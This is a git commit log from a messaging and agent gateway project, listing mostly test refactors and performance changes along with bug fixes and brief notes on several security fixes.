9c3bc4939c perf(test): avoid dynamic imports in session reset suites 2026-02-15 00:45:10 +00:00
Peter Steinberger
8c3a12e011 perf(test): avoid per-test rm in update-startup suite 2026-02-15 00:45:10 +00:00
Peter Steinberger
d75bcc27f9 refactor(test): dedupe session reset policy setup 2026-02-15 00:45:10 +00:00
Peter Steinberger
8181f51dbd perf(test): reuse temp root in slack prepare contract suite 2026-02-15 00:45:10 +00:00
Peter Steinberger
97cde14819 perf(test): stop polling cron job list 2026-02-15 00:45:10 +00:00
Vignesh Natarajan
f18e3fba79 Changelog: note explicit TUI session override fix 2026-02-14 16:40:52 -08:00
Vignesh Natarajan
56b38d2fbe TUI: honor explicit session key in global scope 2026-02-14 16:40:37 -08:00
Vignesh Natarajan
b08146fad6 TUI/Gateway: emit internal hooks for /new and /reset 2026-02-14 16:33:42 -08:00
Peter Steinberger
301b3ff912 fix(ci): avoid TS2742 vitest mock export types 2026-02-15 01:30:15 +01:00
Peter Steinberger
be57344b99 refactor(test): dedupe googlechat webhook routing setup 2026-02-15 00:26:46 +00:00
Peter Steinberger
54060104a7 refactor(test): dedupe gemini oauth fixture setup 2026-02-15 00:26:46 +00:00
Peter Steinberger
c872a43146 refactor(msteams): share Graph helpers 2026-02-15 00:26:46 +00:00
Peter Steinberger
a8e4ab3ebe refactor(bluebubbles): dedupe webhook normalization 2026-02-15 00:26:46 +00:00
Peter Steinberger
52bfe5060c refactor: share file lock via plugin-sdk 2026-02-15 00:26:46 +00:00
Peter Steinberger
4de879a6c5 fix(test): avoid base-to-string in nodes-media e2e logs 2026-02-15 00:26:46 +00:00
Peter Steinberger
a11aecc3c1 fix(test): align trigger harness config types 2026-02-15 00:26:46 +00:00
Peter Steinberger
516cbf4366 refactor(test): dedupe trigger greeting prompt cases 2026-02-15 00:26:46 +00:00
Peter Steinberger
772c03d41a refactor(test): dedupe pi-tools schema union checks 2026-02-15 00:26:46 +00:00
Peter Steinberger
20abab7c4f refactor(test): dedupe loadWorkspaceSkillEntries plugin setup 2026-02-15 00:26:46 +00:00
Peter Steinberger
7b3e5ce0d1 refactor(test): dedupe update-cli downgrade setup 2026-02-15 00:26:46 +00:00
Peter Steinberger
0e6aefde33 refactor(test): dedupe cloudflare onboarding provider auth cases 2026-02-15 00:26:46 +00:00
Peter Steinberger
1f18592754 refactor(test): dedupe web auto-reply last-route test 2026-02-15 00:26:46 +00:00
Peter Steinberger
8a32936855 refactor(test): dedupe cron isolated-agent e2e setup 2026-02-15 00:26:46 +00:00
Peter Steinberger
1eeffd7c09 perf(test): remove sleeps from session store lock suite 2026-02-15 00:26:41 +00:00
Peter Steinberger
9eb749b0a6 test(web): stabilize processMessage inbound contract cleanup 2026-02-15 00:26:41 +00:00
Peter Steinberger
a6fda4ae8e test(web): stabilize processMessage inbound contract cleanup 2026-02-15 00:26:41 +00:00
Peter Steinberger
ef91cd8479 perf(test): drop recursive mkdir in qmd manager suite 2026-02-15 00:26:41 +00:00
Peter Steinberger
ae1214140e perf(test): drop polling waits in qmd manager suite 2026-02-15 00:26:41 +00:00
Peter Steinberger
ed2ae5886d perf(test): avoid process.env cloning in update-startup suite 2026-02-15 00:26:41 +00:00
Peter Steinberger
a0b9ce31bd perf(test): streamline imessage monitor suites 2026-02-15 00:26:41 +00:00
Peter Steinberger
bfbe12d9f5 perf(test): reduce memory suite resets 2026-02-15 00:26:41 +00:00
Gustavo Madeira Santana
a8c30634ac changelog: add workspace onboarding attribution 2026-02-14 19:20:27 -05:00
Gustavo Madeira Santana
28b78b25b7 fix(workspace): persist bootstrap onboarding state 2026-02-14 19:20:27 -05:00
Peter Steinberger
ea0ef18704 refactor: centralize exec approval timeout 2026-02-15 01:18:53 +01:00
Peter Steinberger
27eef96380 fix: improve sqlite missing runtime error 2026-02-15 01:18:53 +01:00
Vignesh Natarajan
fc6d821611 Browser: avoid single-page target lookup hang under blocked CDP attach 2026-02-14 16:13:07 -08:00
Peter Steinberger
203fca001c Merge remote-tracking branch 'origin/main' 2026-02-15 01:06:59 +01:00
Peter Steinberger
07fbf46091 fix(test): avoid vitest mock type inference issues 2026-02-15 01:06:02 +01:00
Vignesh Natarajan
3f69607d8c Changelog: configurable LanceDB capture limit 2026-02-14 16:03:40 -08:00
Vignesh Natarajan
8cb0373bc1 Memory-lancedb: configurable capture limit (#16624) (thanks @ciberponk) 2026-02-14 16:03:40 -08:00
fan
3e00460cdc feat(memory-lancedb): make auto-capture max length configurable 2026-02-14 16:03:40 -08:00
Peter Steinberger
b84cd25537 Merge branch 'refactor/line-webhook-verification' 2026-02-15 01:00:23 +01:00
Marcus Castro
82c1d9d3ef fix(nodes): raise transport timeout for exec.approval.request (#12098) (#12188)
`openclaw nodes run` always timed out after 35s with "gateway timeout
after 35000ms" even though `openclaw nodes invoke system.run` worked
instantly on the same node.

Root cause: the CLI's default --timeout of 35s was used as the WebSocket
transport timeout for exec.approval.request, but the gateway-side
handler waits up to 120s for user approval — so the transport was always
killed 85s too early.

Fix: override opts.timeout for the approval call to
Math.max(parseTimeoutMs(opts.timeout) ?? 0, approvalTimeoutMs + 10_000)
(130s by default), ensuring the transport outlasts the approval wait
while still honoring any larger user-supplied --timeout.
2026-02-15 01:00:01 +01:00
Peter Steinberger
2493455f08 refactor(line): extract node webhook handler + shared verification 2026-02-15 00:59:32 +01:00
Peter Steinberger
c8c8fc4530 ci(sandbox): add sandbox-common smoke 2026-02-15 00:57:13 +01:00
Peter Steinberger
852c897956 refactor(sandbox): add sandbox-common dockerfile 2026-02-15 00:57:13 +01:00
Peter Steinberger
096a7a571d perf(test): speed up update-startup and docker-setup suites 2026-02-14 23:51:47 +00:00
Peter Steinberger
20dea3cdb1 perf(cron): make wakeMode now busy-wait configurable 2026-02-14 23:51:47 +00:00
Peter Steinberger
3ec275f0b5 perf(test): consolidate inbound access-control suites 2026-02-14 23:51:47 +00:00
Peter Steinberger
5a6fc20bd7 perf(test): reuse temp roots in session suites 2026-02-14 23:51:47 +00:00
Peter Steinberger
c1d2f74bc5 refactor(test): dedupe gateway auth e2e lockout setup 2026-02-14 23:51:42 +00:00
Peter Steinberger
371446456c refactor(test): dedupe discord status tool-result test setup 2026-02-14 23:51:42 +00:00
Peter Steinberger
98f2ad56a6 refactor(test): reuse think directive fixtures 2026-02-14 23:51:42 +00:00
Peter Steinberger
b7ef0a5d05 refactor(test): reuse directive per-agent allowlist config 2026-02-14 23:51:42 +00:00
Peter Steinberger
de34a809f4 refactor(test): share telegram forum ctx helper 2026-02-14 23:51:42 +00:00
Peter Steinberger
165dbc232f refactor(test): share directive elevated config 2026-02-14 23:51:42 +00:00
Peter Steinberger
61371a712b refactor(test): share slack monitor helpers 2026-02-14 23:51:42 +00:00
Peter Steinberger
25b048dc43 refactor(test): dedupe pi subscribe text_end cases 2026-02-14 23:51:42 +00:00
Peter Steinberger
86e4cc56b9 refactor(test): reuse base CLI program mocks 2026-02-14 23:51:42 +00:00
Peter Steinberger
aaf03c60c9 fix(test): complete gateway plugin registry mock 2026-02-14 23:51:41 +00:00
Peter Steinberger
c000847dc0 fix(test): remove unused cron import 2026-02-14 23:51:41 +00:00
Peter Steinberger
a6cd7ef49c refactor(test): share cron service fixtures 2026-02-14 23:51:41 +00:00
Peter Steinberger
384a2f6a19 refactor(test): dedupe discord handler setup 2026-02-14 23:51:41 +00:00
Peter Steinberger
a54707b866 refactor(test): dedupe fuzzy model directive config 2026-02-14 23:51:41 +00:00
Peter Steinberger
e0d7f97c55 refactor(test): share gateway server plugin mocks 2026-02-14 23:51:41 +00:00
Peter Steinberger
5f4dda6c7c fix(test): remove unused vitest imports 2026-02-14 23:51:41 +00:00
Peter Steinberger
615f6e1e40 refactor(test): share sessions_spawn e2e mocks 2026-02-14 23:51:41 +00:00
Peter Steinberger
cf26c409c6 refactor(test): share auto-reply temp home harness 2026-02-14 23:51:41 +00:00
Peter Steinberger
b744ba3410 refactor(test): share overflow compaction mocks 2026-02-14 23:51:41 +00:00
Vignesh Natarajan
53a8f474ee Memory/QMD: handle fallback init failures gracefully 2026-02-14 15:42:02 -08:00
Vignesh Natarajan
c4dbcc3444 Memory/QMD: make status checks side-effect free 2026-02-14 15:42:02 -08:00
Robby
ceb934299b fix(workspace): create BOOTSTRAP.md regardless of workspace state (#16457) (#16504)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: a57718c09e
Co-authored-by: robbyczgw-cla <239660374+robbyczgw-cla@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-14 18:41:35 -05:00
Gustavo Madeira Santana
5b23999404 docs: document bootstrap total cap and exec log/notify behavior 2026-02-14 18:36:35 -05:00
Charlie Greenman
dec6859702 agents: reduce prompt token bloat from exec and context (#16539)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 8e1635fa3f
Co-authored-by: CharlieGreenman <8540141+CharlieGreenman@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-14 18:32:45 -05:00
Vignesh Natarajan
2547514b47 Memory/QMD: treat prefixed no-results markers as empty 2026-02-14 15:31:52 -08:00
Peter Steinberger
abf42abd41 fix: LINE webhook verification 200; fix tsgo error (#16582) (thanks @arosstale) 2026-02-15 00:27:12 +01:00
artale
4f2f641950 fix(line): return 200 for webhook verification requests without signature
LINE Platform sends POST {"events":[]} without an X-Line-Signature
header when the user clicks 'Verify' in the LINE Developers Console.
Both webhook.ts and monitor.ts rejected this with 400 'Missing
X-Line-Signature header', causing verification to fail.

Now detect the verification pattern (no signature + empty events array)
and return 200 OK immediately, while still requiring valid signatures
for all real webhook deliveries with non-empty events.

Fixes #16425
2026-02-15 00:27:12 +01:00
artale
3189430ad0 fix(sandbox): switch to root user for package installation in sandbox-common-setup
The base image (Dockerfile.sandbox) sets USER sandbox at the end, so
when sandbox-common-setup.sh builds FROM it, apt-get runs as the
unprivileged sandbox user and fails with 'Permission denied'.

Add USER root before apt-get/npm/curl install steps, and restore
USER sandbox at the end to preserve the non-root runtime default.

Fixes #16420
2026-02-15 00:18:44 +01:00
Peter Steinberger
d6641ed306 test: isolate OPENCLAW_HOME in withTempHome 2026-02-14 23:16:37 +00:00
Peter Steinberger
a2b6a064f7 test: fix processMessage contract test lint 2026-02-14 23:16:37 +00:00
Peter Steinberger
fb1d8f8361 perf(test): consolidate web auto-reply suites 2026-02-14 23:16:37 +00:00
Peter Steinberger
5fd1822c7c fix(web): remove leaked SIGINT handler when keepAlive=false 2026-02-14 23:16:37 +00:00
Peter Steinberger
6bc5987d6c perf(test): speed up path env suite 2026-02-14 23:16:37 +00:00
Peter Steinberger
110cc5d791 perf(test): speed up memory index suite 2026-02-14 23:16:37 +00:00
Peter Steinberger
a0ff9d9bbb perf(test): reduce sync passes in memory batch failure test 2026-02-14 23:16:37 +00:00
Peter Steinberger
97b566b8b3 perf(test): speed up session store pruning suite 2026-02-14 23:16:37 +00:00
Peter Steinberger
221fe499db perf(test): speed up archive suite 2026-02-14 23:16:37 +00:00
Peter Steinberger
b3c3ec4231 perf(test): reuse managers in embedding token limit suite 2026-02-14 23:16:37 +00:00
Peter Steinberger
9860d6fcc2 perf(test): reuse managers in embedding batches suite 2026-02-14 23:16:37 +00:00
Peter Steinberger
add170add0 perf(test): speed up dns cli test 2026-02-14 23:16:37 +00:00
Peter Steinberger
66951e52e6 perf(test): speed up sessions suite 2026-02-14 23:16:37 +00:00
Peter Steinberger
13cb1bb020 chore(test): fix oxlint errors 2026-02-14 23:16:36 +00:00
Peter Steinberger
53cc623481 perf(test): speed up web auto-reply last-route coverage 2026-02-14 23:16:36 +00:00
Peter Steinberger
57b91b6b81 perf(test): reuse memory manager batch suite 2026-02-14 23:16:36 +00:00
Peter Steinberger
526c71a655 perf(test): speed up session store lock suite 2026-02-14 23:16:36 +00:00
Peter Steinberger
90117a3849 docs: consolidate 2026.2.14 changelog 2026-02-15 00:05:51 +01:00
Peter Steinberger
9e2e57458e docs(changelog): soften exec allowlist scope note 2026-02-15 00:03:21 +01:00
Vignesh Natarajan
c0bf6bc24f Memory/QMD: parse scope once in qmd scope checks 2026-02-14 14:59:18 -08:00
Vignesh Natarajan
0fdcb3be43 Memory/QMD: skip unchanged session export writes 2026-02-14 14:59:18 -08:00
Vignesh Natarajan
83e08b3bd5 Memory/QMD: optimize qmd readFile for line-window reads 2026-02-14 14:59:18 -08:00
Vignesh Natarajan
62aae7f69d Memory/QMD: add limit arg to search command 2026-02-14 14:59:18 -08:00
Vignesh Natarajan
19df928e7f Memory/QMD: robustly parse noisy qmd JSON output 2026-02-14 14:59:18 -08:00
Vignesh Natarajan
6bf333bf31 Memory/QMD: prefer exact docid lookup in index 2026-02-14 14:59:18 -08:00
Vignesh Natarajan
f9f816d139 Memory/QMD: cap qmd command output buffering 2026-02-14 14:59:18 -08:00
Peter Steinberger
9b9dc65a22 fix(test): remove unused cron imports 2026-02-14 22:54:37 +00:00
Peter Steinberger
6da69255fa fix(process): satisfy tool execute typing 2026-02-14 22:54:37 +00:00
Peter Steinberger
9a26a735e4 refactor(test): share cron isolated agent fixtures 2026-02-14 22:54:37 +00:00
Bin Deng
c0cd3c3c08 fix: add safety timeout to session.compact() to prevent lane deadlock (#16533)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 21e4045add
Co-authored-by: BinHPdev <219093083+BinHPdev@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-14 17:54:12 -05:00
Vignesh Natarajan
542271e305 tui: cap local shell output buffering 2026-02-14 14:53:20 -08:00
Peter Steinberger
a5ca0df4f4 test(signal): load monitor after tool-result mocks 2026-02-14 23:51:16 +01:00
Peter Steinberger
1bd9a12276 test(signal): ensure tool-result mocks apply before monitor import 2026-02-14 23:51:15 +01:00
Peter Steinberger
7d658410e5 docs(changelog): clarify exec allowlist mode only 2026-02-14 23:51:15 +01:00
Peter Steinberger
db60b424a2 docs(changelog): note exec allowlist command substitution fix 2026-02-14 23:51:15 +01:00
Peter Steinberger
5e7c3250cb fix(security): add optional workspace-only path guards for fs tools 2026-02-14 23:50:24 +01:00
Peter Steinberger
55a25f9875 refactor(test): reuse nodes media gateway mock 2026-02-14 22:43:59 +00:00
Vishal Doshi
3efb752124 fix(gateway): abort active runs during sessions.reset (#16576)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 43da87f2df
Co-authored-by: Grynn <212880+Grynn@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-14 17:42:33 -05:00
Peter Steinberger
d8da642611 refactor(test): share temp home env harness 2026-02-14 22:41:30 +00:00
Peter Steinberger
adc4e0940c refactor(process): share stdin/session guards 2026-02-14 22:38:23 +00:00
Peter Steinberger
0465d314b0 refactor(test): table npm global update cases 2026-02-14 22:35:16 +00:00
Peter Steinberger
426484ba2c test(signal): avoid unused monitor import 2026-02-14 23:33:56 +01:00
Peter Steinberger
c0aa83a998 test: fix Signal tool-result mocks 2026-02-14 23:33:56 +01:00
Peter Steinberger
a99ad11a41 fix: validate state for manual Chutes OAuth 2026-02-14 23:33:56 +01:00
Peter Steinberger
937e1c21f2 refactor(test): table telegram heartbeat account cases 2026-02-14 22:33:30 +00:00
Gustavo Madeira Santana
8217d77ece fix(cli): run plugin gateway_stop hooks before message exit (#16580)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 8542ac77ae
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-14 17:33:08 -05:00
Peter Steinberger
3821d74019 fix(test): tolerate runtime exit in cli smoke 2026-02-14 22:30:21 +00:00
Peter Steinberger
14e70543a2 refactor(test): reuse telegram media bot setup 2026-02-14 22:30:21 +00:00
Peter Steinberger
d02202e765 docs(changelog): note clawtributors updater injection fix 2026-02-14 23:26:39 +01:00
Peter Steinberger
cf471051c7 test(signal): fix monitor tool-result mock ordering 2026-02-14 23:26:39 +01:00
Sebastian
fa32820410 test(signal): lazy-load monitor in tool-result tests 2026-02-14 17:26:21 -05:00
Peter Steinberger
de43e884e7 refactor(test): share telegram dm topic setup 2026-02-14 22:25:52 +00:00
Peter Steinberger
200aa441df test: fix vitest harness typing 2026-02-14 23:25:32 +01:00
Peter Steinberger
a429380e33 fix(scripts): harden clawtributors updater 2026-02-14 23:25:32 +01:00
Peter Steinberger
43f75e53b8 test: fix TS2742 in harness exports 2026-02-14 23:25:32 +01:00
Peter Steinberger
b8f70ffcab refactor(test): share telegram message ctx setup 2026-02-14 22:24:34 +00:00
Peter Steinberger
fc8ccf80a6 refactor(test): dedupe memory flush runs 2026-02-14 22:22:02 +00:00
Gustavo Madeira Santana
dd1fb7ff78 test(web): annotate access-control harness mocks 2026-02-14 17:17:30 -05:00
Peter Steinberger
aae290eed3 refactor(test): dedupe slack inbound contract setup 2026-02-14 22:14:35 +00:00
Peter Steinberger
8f535285d2 refactor(test): share command handler params 2026-02-14 22:11:48 +00:00
Peter Steinberger
808ec68e41 refactor(test): reuse slack slash harness 2026-02-14 22:09:12 +00:00
Peter Steinberger
e63dcc320b refactor(test): share pi embedded model fixtures 2026-02-14 22:06:04 +00:00
Peter Steinberger
5bead2de85 refactor(test): share web inbound access control setup 2026-02-14 22:03:42 +00:00
Bruno Škvorc
dbdcbe03e7 fix: preserve bootstrap paths and expose failed mutations (#16131)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 385dcbd8a9
Co-authored-by: Swader <1430603+Swader@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-14 17:01:16 -05:00
Peter Steinberger
bc299ae17e refactor(wizard): dedupe gateway health check 2026-02-14 21:59:50 +00:00
Peter Steinberger
c0c0e0f9ae fix(security): block full-form IPv4-mapped IPv6 in SSRF guard 2026-02-14 22:58:38 +01:00
Peter Steinberger
2954cdabf9 refactor(config): share whatsapp zod schemas 2026-02-14 21:57:31 +00:00
Peter Steinberger
153601f98b refactor(schema): share gemini union cleanup 2026-02-14 21:57:31 +00:00
Peter Steinberger
9e7aab9baf docs(changelog): credit logicx24 for plugin install traversal report 2026-02-14 22:54:38 +01:00
yinghaosang
8927c69b3f fix(cli): stop message send from hanging forever after delivery (#16460) (#16491)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 78dffc9e99
Co-authored-by: yinghaosang <261132136+yinghaosang@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-14 16:53:56 -05:00
Peter Steinberger
cd747dc582 refactor(discord): share component allowlist checks 2026-02-14 21:52:19 +00:00
Gustavo Madeira Santana
f94c06c53f test: add explicit harness mock types 2026-02-14 16:51:25 -05:00
Peter Steinberger
123ae82fca refactor(auth): dedupe legacy auth store migration 2026-02-14 21:48:02 +00:00
Peter Steinberger
182afe9f59 refactor(sandbox): share workspace layout setup 2026-02-14 21:46:43 +00:00
Peter Steinberger
809f87c41c refactor(onboarding): dedupe whatsapp allowlist prompt 2026-02-14 21:45:40 +00:00
Peter Steinberger
6b400eca5c refactor(cron): share job tick state normalization 2026-02-14 21:44:30 +00:00
Peter Steinberger
6aab89939f refactor(slack): dedupe pin event handlers 2026-02-14 21:42:54 +00:00
Peter Steinberger
576f7072a7 docs(changelog): credit @simecek for gateway connect auth fix 2026-02-14 22:42:35 +01:00
Peter Steinberger
5db579f2e0 refactor(test): reuse sanitize session history fixtures 2026-02-14 21:39:58 +00:00
Peter Steinberger
29e84dc130 refactor(cli): dedupe hooks install config updates 2026-02-14 21:39:52 +00:00
Peter Steinberger
aeb953bdf4 refactor(test): reuse chrome json list stubs 2026-02-14 21:30:48 +00:00
Peter Steinberger
4136cdac63 refactor(test): reuse telegram health probe stubs 2026-02-14 21:29:22 +00:00
Peter Steinberger
775a6c6620 refactor(test): reuse isolated agent turn helpers 2026-02-14 21:28:10 +00:00
Peter Steinberger
28adddd760 refactor(outbound): share attachment hydration 2026-02-14 21:26:37 +00:00
Gustavo Madeira Santana
48b3d7096c fix: harden device pairing token generation and verification (#16535)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: bcbb50e368
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-14 16:23:33 -05:00
Peter Steinberger
b97191b81a refactor(test): share discord send rest harness 2026-02-14 21:20:43 +00:00
Peter Steinberger
0b59c48087 refactor(test): dedupe web broadcast group inbound setup 2026-02-14 21:20:43 +00:00
Peter Steinberger
3c043f5d2d refactor(test): share telegram send test setup 2026-02-14 21:20:43 +00:00
Peter Steinberger
96f80d6d82 refactor(test): share models-config e2e setup 2026-02-14 21:20:43 +00:00
Peter Steinberger
5f55a53f0e refactor(test): share doctor legacy migration setup 2026-02-14 21:20:43 +00:00
Peter Steinberger
09fa33f7e2 refactor(test): share pw-tools-core test setup 2026-02-14 21:20:43 +00:00
Peter Steinberger
20cefd78cb refactor(test): share signal tool result test setup 2026-02-14 21:20:43 +00:00
Peter Steinberger
696a358215 perf(test): speed up update-runner suite 2026-02-14 21:20:15 +00:00
Peter Steinberger
badde6e29f perf(test): speed up cron schedule suite 2026-02-14 21:20:15 +00:00
Peter Steinberger
50900721c3 perf(test): speed up cron one-shot suite 2026-02-14 21:20:15 +00:00
Peter Steinberger
ced4ac4902 perf(test): speed up pairing-store suite 2026-02-14 21:20:15 +00:00
Peter Steinberger
6a361685ab perf(test): speed up control-ui-assets suite 2026-02-14 21:20:15 +00:00
Peter Steinberger
ac3f834cee perf(test): consolidate web auto-reply media e2e suites 2026-02-14 21:20:15 +00:00
Peter Steinberger
03ea99ec65 perf(test): consolidate web auto-reply prefix and gating suites 2026-02-14 21:20:15 +00:00
Peter Steinberger
7f660d59da perf(test): preload runReplyAgent in typing heartbeat harness 2026-02-14 21:20:15 +00:00
Peter Steinberger
32aea365ed perf(test): consolidate agent runner misc suites 2026-02-14 21:19:39 +00:00
Peter Steinberger
d5142f312a perf(test): consolidate web auto-reply suites 2026-02-14 21:19:19 +00:00
Peter Steinberger
64f7182180 perf(test): consolidate agent runner suites 2026-02-14 21:17:29 +00:00
Peter Steinberger
42ab5dd2d1 perf(test): consolidate agent runner suites 2026-02-14 21:17:29 +00:00
Peter Steinberger
0b20ee2722 docs(changelog): note gateway /approve scope fix 2026-02-14 22:14:18 +01:00
Peter Steinberger
6a1ad2b499 docs(matrix): clarify allowlist requires full MXIDs 2026-02-14 22:13:41 +01:00
Tak Hoffman
cc35c66ff0 docs: add agent submission control policy reference 2026-02-14 15:12:40 -06:00
Peter Steinberger
938b1dd1e7 docs(changelog): fix gatewayUrl SSRF entry 2026-02-14 22:08:28 +01:00
Peter Steinberger
3513ff09de docs(changelog): note Telegram webhookSecret hard requirement 2026-02-14 22:08:19 +01:00
Coy Geek
633fe8b9c1 fix(aa-08): apply security fix
Generated by staged fix workflow.
2026-02-14 22:08:19 +01:00
Peter Steinberger
f8c404a485 test(web): import auto-reply after mocks 2026-02-14 22:01:54 +01:00
Peter Steinberger
d73f3336de fix(exec): close stdin for non-pty runs 2026-02-14 22:01:54 +01:00
Peter Steinberger
043ae00446 test(auto-reply): import reply after harness mocks 2026-02-14 22:01:54 +01:00
Peter Steinberger
bf2dc0d9c2 test(auto-reply): fix vi.mock import order 2026-02-14 22:01:54 +01:00
Peter Steinberger
5c6318b583 test(cron): assert cron run session ids 2026-02-14 22:01:54 +01:00
Peter Steinberger
c9f02da89f fix(cli): make program test mocks portable 2026-02-14 22:01:54 +01:00
Peter Steinberger
00b7ab7db7 fix(gateway): remove unused device auth import 2026-02-14 22:01:12 +01:00
Peter Steinberger
d8a2c80cd7 fix(gateway): prefer explicit token over stored auth 2026-02-14 22:01:11 +01:00
Peter Steinberger
c06a962bb6 test(e2e): stabilize suite 2026-02-14 22:01:11 +01:00
Peter Steinberger
2a3da21333 fix(sessions): normalize agent session keys for send policy 2026-02-14 22:01:11 +01:00
Peter Steinberger
ee8d8be2e3 fix(chutes): accept manual OAuth code input 2026-02-14 22:01:11 +01:00
Peter Steinberger
c5406e1d24 fix(security): prevent gatewayUrl SSRF 2026-02-14 22:01:11 +01:00
Peter Steinberger
e95ce05c1e chore(security): soften gatewayUrl override messaging 2026-02-14 21:53:30 +01:00
Peter Steinberger
2d5647a804 fix(security): restrict tool gatewayUrl overrides 2026-02-14 21:53:14 +01:00
Marcus Castro
07850e8a93 fix(media): strip MEDIA: prefix in loadWebMediaInternal (#13107)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 9d95e6af5a
Co-authored-by: mcaxtr <7562095+mcaxtr@users.noreply.github.com>
Co-authored-by: steipete <58493+steipete@users.noreply.github.com>
Reviewed-by: @steipete
2026-02-14 21:41:26 +01:00
Peter Steinberger
1bde33c0bc docs(changelog): note browser control path traversal fix 2026-02-14 21:37:34 +01:00
Peter Steinberger
b2a4283c36 fix(podman): avoid root writes to user home 2026-02-14 21:34:42 +01:00
Peter Steinberger
0e8ec83742 refactor(test): dedupe web auto-reply group message setup 2026-02-14 20:33:46 +00:00
Peter Steinberger
9be114738f refactor(test): dedupe onboarding tui hatch setup 2026-02-14 20:29:02 +00:00
Peter Steinberger
0ab4ac6468 test: drop duplicate isMessagingToolDuplicate suite 2026-02-14 20:25:11 +00:00
Peter Steinberger
05e2957edc refactor(test): dedupe block streaming runner setup 2026-02-14 20:23:33 +00:00
Peter Steinberger
2b5ad475ad test(imessage): stabilize monitor tests with harness import 2026-02-14 21:23:25 +01:00
Peter Steinberger
63aa155ade refactor(imessage): extract RPC notification parsing 2026-02-14 21:23:25 +01:00
Peter Steinberger
d9d321f94b chore(security): bump qs and golang.org/x/net 2026-02-14 21:22:46 +01:00
Gustavo Madeira Santana
348bbdeee1 Tests: annotate exported vitest mocks 2026-02-14 15:22:11 -05:00
Peter Steinberger
2f67564c93 refactor(test): dedupe slack inbound contract prep 2026-02-14 20:21:17 +00:00
Peter Steinberger
8188fcb90d refactor(test): dedupe telegram inbound media e2e setup 2026-02-14 20:18:57 +00:00
Peter Steinberger
9521fe977a refactor(test): dedupe openai batch test fetch mocks 2026-02-14 20:15:35 +00:00
Peter Steinberger
d2857fbea9 refactor(test): reuse doctor e2e harness 2026-02-14 20:12:47 +00:00
Peter Steinberger
5a261322fb style(test): format web media fallback 2026-02-14 20:12:27 +00:00
Peter Steinberger
e9294ff925 perf(test): speed up docker-setup and web media fallback 2026-02-14 20:12:27 +00:00
Peter Steinberger
5daaab3692 perf(test): slim raw-body directive integration 2026-02-14 20:12:27 +00:00
Peter Steinberger
e1220c48f5 perf(test): skip skills snapshot work in fast env 2026-02-14 20:12:27 +00:00
Peter Steinberger
9762e48134 perf(test): speed up block streaming tests 2026-02-14 20:12:27 +00:00
Peter Steinberger
cfc2604d3e perf(test): speed up heartbeat typing suite 2026-02-14 20:12:27 +00:00
Peter Steinberger
82f0388951 test: disable unsafe memory reindex for atomic suite 2026-02-14 20:12:26 +00:00
Peter Steinberger
91c30f46f7 test: isolate browser server auth env (evaluate gating) 2026-02-14 20:12:26 +00:00
Peter Steinberger
31295c8341 test: isolate browser server auth env 2026-02-14 20:12:26 +00:00
Peter Steinberger
ad5e7b9688 perf(test): speed up docker-setup suite 2026-02-14 20:12:26 +00:00
Peter Steinberger
3f5351529f perf(test): skip atomic sqlite swaps for memory index 2026-02-14 20:12:26 +00:00
Peter Steinberger
7418400c47 perf(test): speed up nostr profile fuzz 2026-02-14 20:12:26 +00:00
Peter Steinberger
387fb40745 perf(test): skip heavy boot paths in reply suites 2026-02-14 20:12:26 +00:00
Peter Steinberger
857db619e1 perf(test): speed up temp-home cleanup 2026-02-14 20:12:26 +00:00
Peter Steinberger
5e496a1519 perf(test): mock lobster subprocess 2026-02-14 20:12:26 +00:00
Peter Steinberger
e6f75e526d perf(test): speed up command-registry suite 2026-02-14 20:12:26 +00:00
Peter Steinberger
9365cd424f perf(test): mock chokidar in canvas host tests 2026-02-14 20:11:57 +00:00
Peter Steinberger
dff3f8c271 chore: fix lint after invoke result handler split 2026-02-14 20:11:57 +00:00
Peter Steinberger
615c9c3c9c perf(test): avoid gateway boot for late invoke results 2026-02-14 20:11:57 +00:00
Peter Steinberger
185792b6cd chore(deps): update dependencies 2026-02-14 21:10:20 +01:00
Peter Steinberger
7db6eade05 test(imessage): fix monitor test harness usage 2026-02-14 21:10:20 +01:00
Peter Steinberger
2a1ed0ed41 docs(whatsapp): document account-level dmPolicy precedence 2026-02-14 21:09:30 +01:00
Peter Steinberger
af784b9a8c refactor(test): share cli program e2e mocks 2026-02-14 20:09:27 +00:00
Peter Steinberger
ee29703368 fix(cli): remove grouped placeholders before register 2026-02-14 20:09:27 +00:00
Gustavo Madeira Santana
519ffd59d4 test: annotate web monitor inbox harness mocks 2026-02-14 15:05:20 -05:00
Peter Steinberger
82576aa684 test(cron): deflake read ops while job is running 2026-02-14 21:04:27 +01:00
Peter Steinberger
ffcf37f8c1 fix(doctor): avoid no-op legacy dmPolicy conflict notes 2026-02-14 21:04:27 +01:00
Peter Steinberger
52ad64f8f9 test(doctor): migrate Slack/Discord dmPolicy aliases 2026-02-14 21:04:27 +01:00
Peter Steinberger
